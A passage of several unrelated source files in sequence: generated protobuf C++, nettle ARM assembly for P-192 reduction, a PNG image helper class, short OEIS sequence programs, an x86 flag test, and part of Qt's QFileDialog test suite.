int>(this->_internal_input_size()); i < n; i++) { target = stream->EnsureSpace(target); target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite:: InternalWriteMessage(6, this->_internal_input(i), target, stream); } // repeated .chrome_lang_id.TaskOutput output = 7; for (unsigned int i = 0, n = static_cast<unsigned int>(this->_internal_output_size()); i < n; i++) { target = stream->EnsureSpace(target); target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite:: InternalWriteMessage(7, this->_internal_output(i), target, stream); } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { target = stream->WriteRaw(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).data(), static_cast<int>(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size()), target); } // @@protoc_insertion_point(serialize_to_array_end:chrome_lang_id.TaskSpec) return target; } size_t TaskSpec::ByteSizeLong() const { // @@protoc_insertion_point(message_byte_size_start:chrome_lang_id.TaskSpec) size_t total_size = 0; ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; // repeated group Parameter = 3 { ... }; total_size += 2UL * this->_internal_parameter_size(); for (const auto& msg : this->parameter_) { total_size += ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::GroupSize(msg); } // repeated .chrome_lang_id.TaskInput input = 6; total_size += 1UL * this->_internal_input_size(); for (const auto& msg : this->input_) { total_size += ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(msg); } // repeated .chrome_lang_id.TaskOutput output = 7; total_size += 1UL * this->_internal_output_size(); for (const auto& msg : this->output_) { total_size += ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(msg); } cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000003u) { // optional string task_name = 1; if (cached_has_bits & 0x00000001u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_task_name()); } // optional string task_type = 2; if (cached_has_bits & 0x00000002u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_task_type()); } } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { total_size += _internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size(); } int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size); SetCachedSize(cached_size); return total_size; } void TaskSpec::CheckTypeAndMergeFrom( const ::PROTOBUF_NAMESPACE_ID::MessageLite& from) { MergeFrom(*::PROTOBUF_NAMESPACE_ID::internal::DownCast<const TaskSpec*>( &from)); } void TaskSpec::MergeFrom(const TaskSpec& from) { // @@protoc_insertion_point(class_specific_merge_from_start:chrome_lang_id.TaskSpec) GOOGLE_DCHECK_NE(&from, this); _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; parameter_.MergeFrom(from.parameter_); input_.MergeFrom(from.input_); output_.MergeFrom(from.output_); cached_has_bits = from._has_bits_[0]; if (cached_has_bits & 0x00000003u) { if (cached_has_bits & 0x00000001u) { _internal_set_task_name(from._internal_task_name()); } if (cached_has_bits & 0x00000002u) { _internal_set_task_type(from._internal_task_type()); } } } void TaskSpec::CopyFrom(const TaskSpec& from) { // @@protoc_insertion_point(class_specific_copy_from_start:chrome_lang_id.TaskSpec) if (&from == this) return; Clear(); MergeFrom(from); } bool TaskSpec::IsInitialized() const { if (!::PROTOBUF_NAMESPACE_ID::internal::AllAreInitialized(parameter_)) return false; if (!::PROTOBUF_NAMESPACE_ID::internal::AllAreInitialized(input_)) return false; if (!::PROTOBUF_NAMESPACE_ID::internal::AllAreInitialized(output_)) return false; return true; } void TaskSpec::InternalSwap(TaskSpec* other) { using std::swap; _internal_metadata_.Swap<std::string>(&other->_internal_metadata_); swap(_has_bits_[0], other->_has_bits_[0]); parameter_.InternalSwap(&other->parameter_); input_.InternalSwap(&other->input_); output_.InternalSwap(&other->output_); task_name_.Swap(&other->task_name_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); task_type_.Swap(&other->task_type_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); } std::string TaskSpec::GetTypeName() const { return "chrome_lang_id.TaskSpec"; } // @@protoc_insertion_point(namespace_scope) } // namespace chrome_lang_id PROTOBUF_NAMESPACE_OPEN template<> PROTOBUF_NOINLINE ::chrome_lang_id::TaskInput_Part* Arena::CreateMaybeMessage< ::chrome_lang_id::TaskInput_Part >(Arena* arena) { return Arena::CreateMessageInternal< ::chrome_lang_id::TaskInput_Part >(arena); } template<> PROTOBUF_NOINLINE ::chrome_lang_id::TaskInput* Arena::CreateMaybeMessage< ::chrome_lang_id::TaskInput >(Arena* arena) { return Arena::CreateMessageInternal< ::chrome_lang_id::TaskInput >(arena); } template<> PROTOBUF_NOINLINE ::chrome_lang_id::TaskOutput* Arena::CreateMaybeMessage< ::chrome_lang_id::TaskOutput >(Arena* arena) { return Arena::CreateMessageInternal< ::chrome_lang_id::TaskOutput >(arena); } template<> PROTOBUF_NOINLINE ::chrome_lang_id::TaskSpec_Parameter* Arena::CreateMaybeMessage< ::chrome_lang_id::TaskSpec_Parameter >(Arena* arena) { return Arena::CreateMessageInternal< ::chrome_lang_id::TaskSpec_Parameter >(arena); } template<> PROTOBUF_NOINLINE ::chrome_lang_id::TaskSpec* Arena::CreateMaybeMessage< ::chrome_lang_id::TaskSpec >(Arena* arena) { return Arena::CreateMessageInternal< ::chrome_lang_id::TaskSpec >(arena); } PROTOBUF_NAMESPACE_CLOSE // @@protoc_insertion_point(global_scope) #include <google/protobuf/port_undef.inc>
C nettle, low-level cryptographics library C C Copyright (C) 2013, Niels Möller C C The nettle library is free software; you can redistribute it and/or modify C it under the terms of the GNU Lesser General Public License as published by C the Free Software Foundation; either version 2.1 of the License, or (at your C option) any later version. C C The nettle library is distributed in the hope that it will be useful, but C WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY C or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public C License for more details. C C You should have received a copy of the GNU Lesser General Public License C along with the nettle library; see the file COPYING.LIB. If not, write to C the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, C MA 02111-1301, USA. .file "ecc-192-modp.asm" .arm define(<HP>, <r0>) C Overlaps unused ecc argument define(<RP>, <r1>) define(<T0>, <r2>) define(<T1>, <r3>) define(<T2>, <r4>) define(<T3>, <r5>) define(<T4>, <r6>) define(<T5>, <r7>) define(<T6>, <r8>) define(<T7>, <r10>) define(<H0>, <T0>) C Overlaps T0 and T1 define(<H1>, <T1>) define(<C2>, <HP>) define(<C4>, <r12>) C ecc_192_modp (const struct ecc_curve *ecc, mp_limb_t *rp) .text .align 2 PROLOGUE(nettle_ecc_192_modp) push {r4,r5,r6,r7,r8,r10} C Reduce two words at a time add HP, RP, #48 add RP, RP, #8 ldmdb HP!, {H0,H1} ldm RP, {T2,T3,T4,T5,T6,T7} mov C4, #0 adds T4, T4, H0 adcs T5, T5, H1 adcs T6, T6, H0 adcs T7, T7, H1 C Need to add carry to T2 and T4, do T4 later. adc C4, C4, #0 ldmdb HP!, {H0,H1} mov C2, #0 adcs T2, T2, H0 adcs T3, T3, H1 adcs T4, T4, H0 adcs T5, T5, H1 C Need to add carry to T0 and T2, do T2 later adc C2, C2, #0 ldmdb RP!, {T0, T1} adcs T0, T0, T6 adcs T1, T1, T7 adcs T2, T2, T6 adcs T3, T3, T7 adc C4, C4, #0 adds T2, T2, C2 adcs T3, T3, #0 adcs T4, T4, C4 adcs T5, T5, #0 mov C2, #0 adc C2, C2, #0 C Add in final carry adcs T0, T0, #0 adcs T1, T1, #0 adcs T2, T2, C2 adcs T3, T3, #0 adcs T4, T4, #0 adc T5, T5, #0 stm RP, {T0,T1,T2,T3,T4,T5} pop {r4,r5,r6,r7,r8,r10} bx lr EPILOGUE(nettle_ecc_192_modp)
/* Copyright (c) 2013 Ghassen Hamrouni Abstract: This module provides IO functions for PNG images. Author: Ghassen Hamrouni <ghamrouni.iptech@gmail.com> 23-07-2013 Revision History: */ #pragma once #ifndef ___IMAGE_PNG_H__ #define ___IMAGE_PNG_H__ #include <iostream> #include <vector> #include "lodepng.h" #include "Color.hpp" class Image { std::vector<unsigned char> buffer; unsigned int width, height; public: int save(const char* filename) { unsigned error = lodepng::encode(filename, buffer, width, height); return error; } int load(const char* filename) { unsigned error = lodepng::decode(buffer, width, height, filename); return error; } void init(unsigned int width, unsigned int height) { this->width = width; this->height = height; buffer.clear(); for (unsigned int i = 0; i < width * height * 4; i++) buffer.push_back(255); } void setPixel(int x, int y, Color& color) { buffer[(y * width + x) * 4] = color.R; buffer[(y * width + x) * 4 + 1] = color.G; buffer[(y * width + x) * 4 + 2] = color.B; buffer[(y * width + x) * 4 + 3] = color.A; } void getPixel(int x, int y, Color& color) const { color.R = buffer[(y * width + x) * 4]; color.G = buffer[(y * width + x) * 4 + 1]; color.B = buffer[(y * width + x) * 4 + 2]; color.A = buffer[(y * width + x) * 4 + 3]; } int pixelCount() const { return width * height; } int getWidth() const { return width; } int getHeight() const { return height; } }; #endif // ___IMAGE_PNG_H__
; A011874: a(n) = floor(n*(n-1)/21). ; 0,0,0,0,0,0,1,2,2,3,4,5,6,7,8,10,11,12,14,16,18,20,22,24,26,28,30,33,36,38,41,44,47,50,53,56,60,63,66,70,74,78,82,86,90,94,98,102,107,112,116,121,126,131,136,141,146,152,157,162,168 bin $0,2 mul $0,2 div $0,21
; A319988: a(n) = 1 if n is divisible by the square of its largest prime factor, 0 otherwise. ; 0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1 seq $0,71178 ; Exponent of the largest prime factor of n. lpb $0 mov $0,1 add $1,1 lpe mov $0,$1
%ifdef CONFIG { "RegData": { "RBX": "0x0000000000000003", "RCX": "0x0000000000000002", "RDX": "0x0000000000000001", "RSI": "0x0000000000000000", "R8": "0x0", "R9": "0x0", "R10": "0x1", "R11": "0x1" } } %endif mov rbx, 0x0000000000000001 mov rcx, 0x0000000000000001 mov rdx, 0x8000000000000000 mov rsi, 0x8000000000000000 mov r15, 1 stc rcl rbx, 1 mov r8, 0 cmovo r8, r15 ; We only care about OF here clc rcl rcx, 1 mov r9, 0 cmovo r9, r15 ; We only care about OF here stc rcl rdx, 1 mov r10, 0 cmovo r10, r15 ; We only care about OF here clc rcl rsi, 1 mov r11, 0 cmovo r11, r15 ; We only care about OF here hlt
; A070497: a(n) = n^3 mod 35. ; 0,1,8,27,29,20,6,28,22,29,20,1,13,27,14,15,1,13,22,34,20,21,8,22,34,15,6,13,7,29,15,6,8,27,34,0,1,8,27,29,20,6,28,22,29,20,1,13,27,14,15,1,13,22,34,20,21,8,22,34,15,6,13,7,29,15,6,8,27,34,0,1,8,27,29,20,6,28,22,29,20,1,13,27,14,15,1,13,22,34,20,21,8,22,34,15,6,13,7,29 pow $0,3 mod $0,35
/**************************************************************************** ** ** Copyright (C) 2015 The Qt Company Ltd. ** Contact: http://www.qt.io/licensing/ ** ** This file is part of the test suite of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL21$ ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see http://www.qt.io/terms-conditions. For further ** information use the contact form at http://www.qt.io/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 or version 3 as published by the Free ** Software Foundation and appearing in the file LICENSE.LGPLv21 and ** LICENSE.LGPLv3 included in the packaging of this file. Please review the ** following information to ensure the GNU Lesser General Public License ** requirements will be met: https://www.gnu.org/licenses/lgpl.html and ** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** As a special exception, The Qt Company gives you certain additional ** rights. These rights are described in The Qt Company LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #include <QtTest/QtTest> #include <qcoreapplication.h> #include <qfile.h> #include <qdebug.h> #include <qsharedpointer.h> #include <qfiledialog.h> #include <qabstractitemdelegate.h> #include <qdirmodel.h> #include <qitemdelegate.h> #include <qlistview.h> #include <qcombobox.h> #include <qpushbutton.h> #include <qtoolbutton.h> #include <qtreeview.h> #include <qheaderview.h> #include <qcompleter.h> #include <qaction.h> #include <qdialogbuttonbox.h> #include <qsortfilterproxymodel.h> #include <qlineedit.h> #include <qlayout.h> #include <private/qfiledialog_p.h> #if defined QT_BUILD_INTERNAL #include <private/qsidebar_p.h> #include <private/qfilesystemmodel_p.h> #endif #include <private/qguiapplication_p.h> #include <qpa/qplatformtheme.h> #include <QFileDialog> #include <QFileSystemModel> #if defined(Q_OS_UNIX) #include <unistd.h> // for pathconf() on OS X #ifdef QT_BUILD_INTERNAL QT_BEGIN_NAMESPACE extern Q_GUI_EXPORT QString qt_tildeExpansion(const QString &path, bool *expanded = 0); QT_END_NAMESPACE #endif #endif static inline bool isCaseSensitiveFileSystem(const QString &path) { Q_UNUSED(path) #if defined(Q_OS_MAC) return pathconf(QFile::encodeName(path).constData(), _PC_CASE_SENSITIVE); #elif defined(Q_OS_WIN) return false; #else return true; #endif } class QNonNativeFileDialog : public QFileDialog { Q_OBJECT public: QNonNativeFileDialog(QWidget *parent = 0, const QString &caption = QString(), const QString &directory = QString(), const QString &filter = QString()) : QFileDialog(parent, caption, directory, filter) { setOption(QFileDialog::DontUseNativeDialog, true); } }; class tst_QFiledialog : public QObject { Q_OBJECT public: tst_QFiledialog(); virtual ~tst_QFiledialog(); public slots: void initTestCase(); void init(); void cleanup(); private slots: void currentChangedSignal(); #ifdef QT_BUILD_INTERNAL void directoryEnteredSignal(); #endif void filesSelectedSignal_data(); void filesSelectedSignal(); void filterSelectedSignal(); void args(); void directory(); void completer_data(); void completer(); void completer_up(); void acceptMode(); void confirmOverwrite(); void defaultSuffix(); void fileMode(); void filters(); void history(); void iconProvider(); void isReadOnly(); void itemDelegate(); void labelText(); void resolveSymlinks(); void selectFile_data(); void selectFile(); void selectFiles(); void selectFileWrongCaseSaveAs(); void selectFilter(); void viewMode(); void proxymodel(); void setNameFilter_data(); void setNameFilter(); void setEmptyNameFilter(); void focus(); void caption(); void historyBack(); void historyForward(); void disableSaveButton_data(); void disableSaveButton(); void saveButtonText_data(); void saveButtonText(); void clearLineEdit(); void enableChooseButton(); void widgetlessNativeDialog(); void selectedFilesWithoutWidgets(); void trailingDotsAndSpaces(); #ifdef Q_OS_UNIX #ifdef QT_BUILD_INTERNAL void tildeExpansion_data(); void tildeExpansion(); #endif // QT_BUILD_INTERNAL #endif void rejectModalDialogs(); private: void cleanupSettingsFile(); }; tst_QFiledialog::tst_QFiledialog() { } tst_QFiledialog::~tst_QFiledialog() { } void tst_QFiledialog::cleanupSettingsFile() { // clean up the sidebar between each test QSettings settings(QSettings::UserScope, QLatin1String("QtProject")); settings.beginGroup(QLatin1String("FileDialog")); settings.remove(QString()); settings.endGroup(); settings.beginGroup(QLatin1String("Qt")); // Compatibility settings settings.remove(QLatin1String("filedialog")); settings.endGroup(); } void tst_QFiledialog::initTestCase() { QStandardPaths::setTestModeEnabled(true); cleanupSettingsFile(); } void tst_QFiledialog::init() { QFileDialogPrivate::setLastVisitedDirectory(QUrl()); // populate the sidebar with some default settings QNonNativeFileDialog fd; #if defined(Q_OS_WINCE) QTest::qWait(1000); #endif } void tst_QFiledialog::cleanup() { cleanupSettingsFile(); } class MyAbstractItemDelegate : public QAbstractItemDelegate { public: MyAbstractItemDelegate() : QAbstractItemDelegate() {}; void paint(QPainter *, const QStyleOptionViewItem &, const QModelIndex &) const {} QSize sizeHint(const QStyleOptionViewItem &, const QModelIndex &) const { return QSize(); } }; // emitted any time the selection model emits current changed void tst_QFiledialog::currentChangedSignal() { QNonNativeFileDialog fd; fd.setViewMode(QFileDialog::List); QSignalSpy spyCurrentChanged(&fd, SIGNAL(currentChanged(QString))); QListView* listView = fd.findChild<QListView*>("listView"); QVERIFY(listView); fd.setDirectory(QDir::root()); QModelIndex root = listView->rootIndex(); QTRY_COMPARE(listView->model()->rowCount(root) > 0, true); QModelIndex folder; for (int i = 0; i < listView->model()->rowCount(root); ++i) { folder = listView->model()->index(i, 0, root); if (listView->model()->hasChildren(folder)) break; } QVERIFY(listView->model()->hasChildren(folder)); listView->setCurrentIndex(folder); QCOMPARE(spyCurrentChanged.count(), 1); } // only emitted from the views, sidebar, or lookin combo #if defined QT_BUILD_INTERNAL void tst_QFiledialog::directoryEnteredSignal() { QNonNativeFileDialog fd(0, "", QDir::root().path()); fd.setOptions(QFileDialog::DontUseNativeDialog); QSidebar *sidebar = fd.findChild<QSidebar*>("sidebar"); QVERIFY(sidebar); if (sidebar->model()->rowCount() < 2) QSKIP("This test requires at least 2 side bar entries."); fd.show(); QTRY_COMPARE(fd.isVisible(), true); QSignalSpy spyDirectoryEntered(&fd, SIGNAL(directoryEntered(QString))); // sidebar QModelIndex secondItem = sidebar->model()->index(1, 0); QVERIFY(secondItem.isValid()); sidebar->setCurrentIndex(secondItem); QTest::keyPress(sidebar->viewport(), Qt::Key_Return); QCOMPARE(spyDirectoryEntered.count(), 1); spyDirectoryEntered.clear(); // lookInCombo QComboBox *comboBox = fd.findChild<QComboBox*>("lookInCombo"); comboBox->showPopup(); QVERIFY(comboBox->view()->model()->index(1, 0).isValid()); comboBox->view()->setCurrentIndex(comboBox->view()->model()->index(1, 0)); QTest::keyPress(comboBox->view()->viewport(), Qt::Key_Return); QCOMPARE(spyDirectoryEntered.count(), 1); spyDirectoryEntered.clear(); // view /* // platform specific fd.setViewMode(QFileDialog::ViewMode(QFileDialog::List)); QListView* listView = fd.findChild<QListView*>("listView"); QVERIFY(listView); QModelIndex root = listView->rootIndex(); QTRY_COMPARE(listView->model()->rowCount(root) > 0, true); QModelIndex folder; for (int i = 0; i < listView->model()->rowCount(root); ++i) { folder = listView->model()->index(i, 0, root); if (listView->model()->hasChildren(folder)) break; } QVERIFY(listView->model()->hasChildren(folder)); listView->setCurrentIndex(folder); QTRY_COMPARE((listView->indexAt(listView->visualRect(folder).center())), folder); QTest::mouseDClick(listView->viewport(), Qt::LeftButton, 0, listView->visualRect(folder).center()); QTRY_COMPARE(spyDirectoryEntered.count(), 1); */ } #endif Q_DECLARE_METATYPE(QFileDialog::FileMode) void tst_QFiledialog::filesSelectedSignal_data() { QTest::addColumn<QFileDialog::FileMode>("fileMode"); QTest::newRow("any") << QFileDialog::AnyFile; QTest::newRow("existing") << QFileDialog::ExistingFile; QTest::newRow("directory") << QFileDialog::Directory; QTest::newRow("directoryOnly") << QFileDialog::DirectoryOnly; QTest::newRow("existingFiles") << QFileDialog::ExistingFiles; } // emitted when the dialog closes with the selected files void tst_QFiledialog::filesSelectedSignal() { QNonNativeFileDialog fd; fd.setViewMode(QFileDialog::List); fd.setOptions(QFileDialog::DontUseNativeDialog); QDir testDir(SRCDIR); fd.setDirectory(testDir); QFETCH(QFileDialog::FileMode, fileMode); fd.setFileMode(fileMode); QSignalSpy spyFilesSelected(&fd, SIGNAL(filesSelected(QStringList))); fd.show(); QVERIFY(QTest::qWaitForWindowExposed(&fd)); QListView *listView = fd.findChild<QListView*>("listView"); QVERIFY(listView); QModelIndex root = listView->rootIndex(); QTRY_COMPARE(listView->model()->rowCount(root) > 0, true); QModelIndex file; for (int i = 0; i < listView->model()->rowCount(root); ++i) { file = listView->model()->index(i, 0, root); if (fileMode == QFileDialog::Directory || fileMode == QFileDialog::DirectoryOnly) { if (listView->model()->hasChildren(file)) break; } else { if (!listView->model()->hasChildren(file)) break; } file = QModelIndex(); } QVERIFY(file.isValid()); listView->selectionModel()->select(file, QItemSelectionModel::Select | QItemSelectionModel::Rows); listView->setCurrentIndex(file); QDialogButtonBox *buttonBox = fd.findChild<QDialogButtonBox*>("buttonBox"); QPushButton *button = buttonBox->button(QDialogButtonBox::Open); QVERIFY(button); QVERIFY(button->isEnabled()); button->animateClick(); QTRY_COMPARE(fd.isVisible(), false); QCOMPARE(spyFilesSelected.count(), 1); } // only emitted when the combo box is activated void tst_QFiledialog::filterSelectedSignal() { QNonNativeFileDialog fd; fd.setAcceptMode(QFileDialog::AcceptSave); fd.show(); QSignalSpy spyFilterSelected(&fd, SIGNAL(filterSelected(QString))); QStringList filterChoices; filterChoices << "Image files (*.png *.xpm *.jpg)" << "Text files (*.txt)" << "Any files (*.*)"; fd.setNameFilters(filterChoices); QCOMPARE(fd.nameFilters(), filterChoices); QComboBox *filters = fd.findChild<QComboBox*>("fileTypeCombo"); QVERIFY(filters); QVERIFY(filters->view()); QCOMPARE(filters->isVisible(), true); QTest::keyPress(filters, Qt::Key_Down); QCOMPARE(spyFilterSelected.count(), 1); } void tst_QFiledialog::args() { QWidget *parent = 0; QString caption = "caption"; QString directory = QDir::tempPath(); QString filter = "*.mp3"; QNonNativeFileDialog fd(parent, caption, directory, filter); QCOMPARE(fd.parent(), (QObject *)parent); QCOMPARE(fd.windowTitle(), caption); #ifndef Q_OS_WIN QCOMPARE(fd.directory(), QDir(directory)); #endif QCOMPARE(fd.nameFilters(), QStringList(filter)); } void tst_QFiledialog::directory() { QNonNativeFileDialog fd; fd.setViewMode(QFileDialog::List); QFileSystemModel *model = fd.findChild<QFileSystemModel*>("qt_filesystem_model"); QVERIFY(model); fd.setDirectory(QDir::currentPath()); QSignalSpy spyCurrentChanged(&fd, SIGNAL(currentChanged(QString))); QSignalSpy spyDirectoryEntered(&fd, SIGNAL(directoryEntered(QString))); QSignalSpy spyFilesSelected(&fd, SIGNAL(filesSelected(QStringList))); QSignalSpy spyFilterSelected(&fd, SIGNAL(filterSelected(QString))); QCOMPARE(QDir::current().absolutePath(), fd.directory().absolutePath()); QDir temp = QDir::temp(); QString tempPath = temp.absolutePath(); #ifdef Q_OS_WIN // since the user can have lowercase temp dir, check that we are actually case-insensitive. tempPath = tempPath.toLower(); #endif fd.setDirectory(tempPath); #ifndef Q_OS_WIN QCOMPARE(tempPath, fd.directory().absolutePath()); #endif QCOMPARE(spyCurrentChanged.count(), 0); QCOMPARE(spyDirectoryEntered.count(), 0); QCOMPARE(spyFilesSelected.count(), 0); QCOMPARE(spyFilterSelected.count(), 0); // Check my way QList<QListView*> list = fd.findChildren<QListView*>("listView"); QVERIFY(list.count() > 0); #ifdef Q_OS_WIN QCOMPARE(list.at(0)->rootIndex().data().toString().toLower(), temp.dirName().toLower()); #else QCOMPARE(list.at(0)->rootIndex().data().toString(), temp.dirName()); #endif QNonNativeFileDialog *dlg = new QNonNativeFileDialog(0, "", tempPath); QCOMPARE(model->index(tempPath), model->index(dlg->directory().absolutePath())); QCOMPARE(model->index(tempPath).data(QFileSystemModel::FileNameRole).toString(), model->index(dlg->directory().absolutePath()).data(QFileSystemModel::FileNameRole).toString()); delete dlg; dlg = new QNonNativeFileDialog(); QCOMPARE(model->index(tempPath), model->index(dlg->directory().absolutePath())); delete dlg; } void tst_QFiledialog::completer_data() { QTest::addColumn<QString>("startPath"); QTest::addColumn<QString>("input"); QTest::addColumn<int>("expected"); const QString rootPath = QDir::rootPath(); QTest::newRow("r, 10") << QString() << "r" << 10; QTest::newRow("x, 0") << QString() << "x" << 0; QTest::newRow("../, -1") << QString() << "../" << -1; QTest::newRow("goto root") << QString() << rootPath << -1; QTest::newRow("start at root") << rootPath << QString() << -1; QFileInfoList list = QDir::root().entryInfoList(QDir::Dirs | QDir::NoDotAndDotDot); QVERIFY(!list.isEmpty()); const QString folder = list.first().absoluteFilePath(); QTest::newRow("start at one below root r") << folder << "r" << -1; QTest::newRow("start at one below root ../") << folder << "../" << -1; } void tst_QFiledialog::completer() { typedef QSharedPointer<QTemporaryFile> TemporaryFilePtr; #ifdef Q_OS_WIN static const Qt::CaseSensitivity caseSensitivity = Qt::CaseInsensitive; #else static const Qt::CaseSensitivity caseSensitivity = Qt::CaseSensitive; #endif QFETCH(QString, input); QFETCH(QString, startPath); QFETCH(int, expected); // make temp dir and files QScopedPointer<QTemporaryDir> tempDir; QList<TemporaryFilePtr> files; if (startPath.isEmpty()) { tempDir.reset(new QTemporaryDir); QVERIFY(tempDir->isValid()); startPath = tempDir->path(); for (int i = 0; i < 10; ++i) { TemporaryFilePtr file(new QTemporaryFile(startPath + QStringLiteral("/rXXXXXX"))); QVERIFY(file->open()); files.append(file); } } // ### flesh this out more QNonNativeFileDialog fd(0, QLatin1String(QTest::currentTestFunction()) + QStringLiteral(" \"") + QLatin1String(QTest::currentDataTag()) + QLatin1Char('"'), startPath); fd.setOptions(QFileDialog::DontUseNativeDialog); fd.show(); QVERIFY(QTest::qWaitForWindowExposed(&fd)); QVERIFY(fd.isVisible()); QFileSystemModel *model = fd.findChild<QFileSystemModel*>("qt_filesystem_model"); QVERIFY(model); QLineEdit *lineEdit = fd.findChild<QLineEdit*>("fileNameEdit"); QVERIFY(lineEdit); QCompleter *completer = lineEdit->completer(); QVERIFY(completer); QAbstractItemModel *cModel = completer->completionModel(); QVERIFY(cModel); //wait a bit QTest::qWait(500); // path C:\depot\qt\examples\dialogs\standarddialogs // files // [debug] [release] [tmp] dialog dialog main makefile makefile.debug makefile.release standarddialgos // // d -> D:\ debug dialog.cpp dialog.h // ..\ -> ..\classwizard ..\configdialog ..\dialogs.pro // c -> C:\ control panel // c: -> C:\ (nothing more) // C:\ -> C:\, C:\_viminfo, ... // \ -> \_viminfo // c:\depot -> 'nothing' // c:\depot\ -> C:\depot\devtools, C:\depot\dteske QCOMPARE(model->index(fd.directory().path()), model->index(startPath)); if (input.isEmpty()) { // Try to find a suitable directory under root that does not // start with 'C' to avoid issues with completing to "C:" drives on Windows. const QString rootPath = model->rootPath(); const QChar rootPathFirstChar = rootPath.at(0).toLower(); QModelIndex rootIndex = model->index(rootPath); const int rowCount = model->rowCount(rootIndex); QVERIFY(rowCount > 0); for (int row = 0; row < rowCount && input.isEmpty(); ++row) { const QString name = model->index(row, 0, rootIndex).data().toString(); const QChar firstChar = name.at(0); if (firstChar.isLetter() && firstChar.toLower() != rootPathFirstChar) input = firstChar; } QVERIFY2(!input.isEmpty(), "Unable to find a suitable input directory"); } // press 'keys' for the input for (int i = 0; i < input.count(); ++i) QTest::keyPress(lineEdit, input[i].toLatin1()); QStringList expectedFiles; if (expected == -1) { QString fullPath = startPath; if (!fullPath.endsWith(QLatin1Char('/'))) fullPath.append(QLatin1Char('/')); fullPath.append(input); if (input.startsWith(QDir::rootPath(), caseSensitivity)) { fullPath = input; input.clear(); } QFileInfo fi(fullPath); QDir x(fi.absolutePath()); expectedFiles = x.entryList(model->filter()); expected = 0; if (input.startsWith("..")) input.clear(); foreach (const QString &expectedFile, expectedFiles) { if (expectedFile.startsWith(input, caseSensitivity)) ++expected; } } QTRY_COMPARE(cModel->rowCount(), expected); } void tst_QFiledialog::completer_up() { QNonNativeFileDialog fd; fd.setOptions(QFileDialog::DontUseNativeDialog); QSignalSpy spyCurrentChanged(&fd, SIGNAL(currentChanged(QString))); QSignalSpy spyDirectoryEntered(&fd, SIGNAL(directoryEntered(QString))); QSignalSpy spyFilesSelected(&fd, SIGNAL(filesSelected(QStringList))); QSignalSpy spyFilterSelected(&fd, SIGNAL(filterSelected(QString))); fd.show(); QLineEdit *lineEdit = fd.findChild<QLineEdit*>("fileNameEdit"); QVERIFY(lineEdit); QCOMPARE(spyFilesSelected.count(), 0); int depth = QDir::currentPath().split('/').count(); for (int i = 0; i <= depth * 3 + 1; ++i) { lineEdit->insert("../"); qApp->processEvents(); } QCOMPARE(spyCurrentChanged.count(), 0); QCOMPARE(spyDirectoryEntered.count(), 0); QCOMPARE(spyFilesSelected.count(), 0); QCOMPARE(spyFilterSelected.count(), 0); } void tst_QFiledialog::acceptMode() { QNonNativeFileDialog fd; fd.show(); QToolButton* newButton = fd.findChild<QToolButton*>("newFolderButton"); QVERIFY(newButton); // default QCOMPARE(fd.acceptMode(), QFileDialog::AcceptOpen); QCOMPARE(newButton && newButton->isVisible(), true); //fd.setDetailsExpanded(true); fd.setAcceptMode(QFileDialog::AcceptSave); QCOMPARE(fd.acceptMode(), QFileDialog::AcceptSave); QCOMPARE(newButton->isVisible(), true); fd.setAcceptMode(QFileDialog::AcceptOpen); QCOMPARE(fd.acceptMode(), QFileDialog::AcceptOpen); QCOMPARE(newButton->isVisible(), true); } void tst_QFiledialog::confirmOverwrite() { QNonNativeFileDialog fd; QCOMPARE(fd.confirmOverwrite(), true); fd.setConfirmOverwrite(true); QCOMPARE(fd.confirmOverwrite(), true); fd.setConfirmOverwrite(false); QCOMPARE(fd.confirmOverwrite(), false); fd.setConfirmOverwrite(true); QCOMPARE(fd.confirmOverwrite(), true); } void tst_QFiledialog::defaultSuffix() { QNonNativeFileDialog fd; QCOMPARE(fd.defaultSuffix(), QString()); fd.setDefaultSuffix("txt"); QCOMPARE(fd.defaultSuffix(), QString("txt")); fd.setDefaultSuffix(".txt"); QCOMPARE(fd.defaultSuffix(), QString("txt")); fd.setDefaultSuffix(QString()); QCOMPARE(fd.defaultSuffix(), 